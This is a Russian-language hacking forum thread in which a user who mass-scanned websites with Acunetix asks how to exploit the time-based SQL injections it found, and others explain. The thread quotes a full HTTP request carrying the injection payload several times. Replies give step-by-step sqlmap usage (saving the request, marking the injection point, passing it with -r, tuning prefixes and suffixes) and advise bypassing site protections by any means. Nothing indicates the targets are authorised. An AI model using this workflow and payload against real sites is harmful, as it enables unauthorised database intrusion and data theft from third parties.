• XSS.stack #1 – первый литературный журнал от юзеров форума

Не могу раскрутить скулю с окуня

Отслеживать

sweez

CD-диск
Пользователь
Регистрация
22.02.2021
Сообщения
19
Реакции
1
Всем привет. Чекал сайты окунем и он нашел множество скулей такого вида:
Parameter: /<s>/<s>/[*]/
Запрос в окуне выглядит так:
Код: 
GET /images/reviews2/0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z/ HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: xxx
Cookie: PHPSESSID=52p1qfgvc5k0hkacbquh9fueqp;_fbp=fb.1.1631526422770.902720717;isAccessible=false;isInverse=true;isZoomed=true
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4298.0 Safari/537.36
Host: xxx
Connection: Keep-alive

Как загрузить её в sqlmap?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
sweez сказал(а):
Всем привет. Чекал сайты окунем и он нашел множество скулей такого вида:
Parameter: /<s>/<s>/[*]/
Запрос в окуне выглядит так:
Код: 
GET /images/reviews2/0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z/ HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: xxx
Cookie: PHPSESSID=52p1qfgvc5k0hkacbquh9fueqp;_fbp=fb.1.1631526422770.902720717;isAccessible=false;isInverse=true;isZoomed=true
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4298.0 Safari/537.36
Host: xxx
Connection: Keep-alive

Как загрузить её в sqlmap?
сохрани запрос в txt и передай в sqlmap с помощью -r и имяфайла.txt
 
sweez сказал(а):
Всем привет. Чекал сайты окунем и он нашел множество скулей такого вида:
Parameter: /<s>/<s>/[*]/
Запрос в окуне выглядит так:
Код: 
GET /images/reviews2/0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z/ HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: xxx
Cookie: PHPSESSID=52p1qfgvc5k0hkacbquh9fueqp;_fbp=fb.1.1631526422770.902720717;isAccessible=false;isInverse=true;isZoomed=true
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4298.0 Safari/537.36
Host: xxx
Connection: Keep-alive

Как загрузить её в sqlmap?

присоеденюсь к предидущим ответам, только в сохраненном файле с запросом из акунетикса вместо 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z ставь *
должно получиться вот так
Код: 
GET /images/reviews2/*/ HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: xxx

Cookie: PHPSESSID=52p1qfgvc5k0hkacbquh9fueqp;_fbp=fb.1.1631526422770.902720717;isAccessible=false;isInverse=true;isZoomed=true

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4298.0 Safari/537.36

Host: xxx

Connection: Keep-alive

0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z акунетикс пихает в запрос, а sqlmap некорректно отработает при таком запросе..
 
sweez сказал(а):
Всем привет. Чекал сайты окунем и он нашел множество скулей такого вида:
Parameter: /<s>/<s>/[*]/
Запрос в окуне выглядит так:
Код: 
GET /images/reviews2/0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z/ HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: xxx
Cookie: PHPSESSID=52p1qfgvc5k0hkacbquh9fueqp;_fbp=fb.1.1631526422770.902720717;isAccessible=false;isInverse=true;isZoomed=true
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4298.0 Safari/537.36
Host: xxx
Connection: Keep-alive

Как загрузить её в sqlmap?
Скули со слипом чаще всего бывают фолзами, советую перепроверять наличие скули в том же самом окуне прежде, чем пихать её в скулмапу
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Duble сказал(а):
Петросян?)
Да как тебе удобнее, буду тебя Петросяном называть. Дело хозяйское.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Duble сказал(а):
Дуру вырубай, твои шутки тут не уместны, шут.
Сходи мороженку купи себе, клоун бумажный, булки расслабь и щеки так на надувай, а то лопнут)))
 
Пожалуйста, обратите внимание, что пользователь заблокирован
в браузере у себя выполни тутсайт.COM/images/reviews2/0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z/ ошибки выведет?
 
boriselcin сказал(а):
в браузере у себя выполни тутсайт.COM/images/reviews2/0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z/ ошибки выведет?
Тогда бы скульмап сразу сказал что там ерорбейсед скуля,а не тайм бейсед
 
Окуня раскрутка скули умнее чем в sqlmap..
темка с XOR... попробуй игратся с префиксами и суффиксами в sqlmap...добавляй этот XOR вначало и вконец вручную..в конце XOR'Z увидел, значит это.
Короче игратся надо... Попробуй Netsparker прогнать еще, если спарк найдет можно там скопировать готовый запрос для sqlmap.
 
Ventrue сказал(а):
Окуня раскрутка скули умнее чем в sqlmap..
темка с XOR... попробуй игратся с префиксами и суффиксами в sqlmap...добавляй этот XOR вначало и вконец вручную..в конце XOR'Z увидел, значит это.
Короче игратся надо... Попробуй Netsparker прогнать еще, если спарк найдет можно там скопировать готовый запрос для sqlmap.
нетспаркер как правило не покажет такую скулю( но для кучи можно прогнать им, и еще берпом
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ventrue сказал(а):
Окуня раскрутка скули умнее чем в sqlmap..
темка с XOR... попробуй игратся с префиксами и суффиксами в sqlmap...добавляй этот XOR вначало и вконец вручную..в конце XOR'Z увидел, значит это.
Короче игратся надо... Попробуй Netsparker прогнать еще, если спарк найдет можно там скопировать готовый запрос для sqlmap.
Мапа нормально юзает такие скули(хоть и по своим техникам, префикс и суффикс тут сильно не поможет), дело в том что окунь не всегда показывает то что можно раскуртить(мб скули тупо нету)
+ не стоит забыть о защите, возможно на сайте стоит какая-то защита которую нужно обойти любым способом...
p.s Ещё не стоит забывать про другие техники, не нужно чекать лишь ту технику что тебе показал окунь, мапа иногда находит скулю сама.А лучше если Acunetix находит несколько разных скуль, пройтись по всем, есть шанс что одна из них будет отличатся от остальных, тем самым >> sqlmap найдёт там что-то
 
admin


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх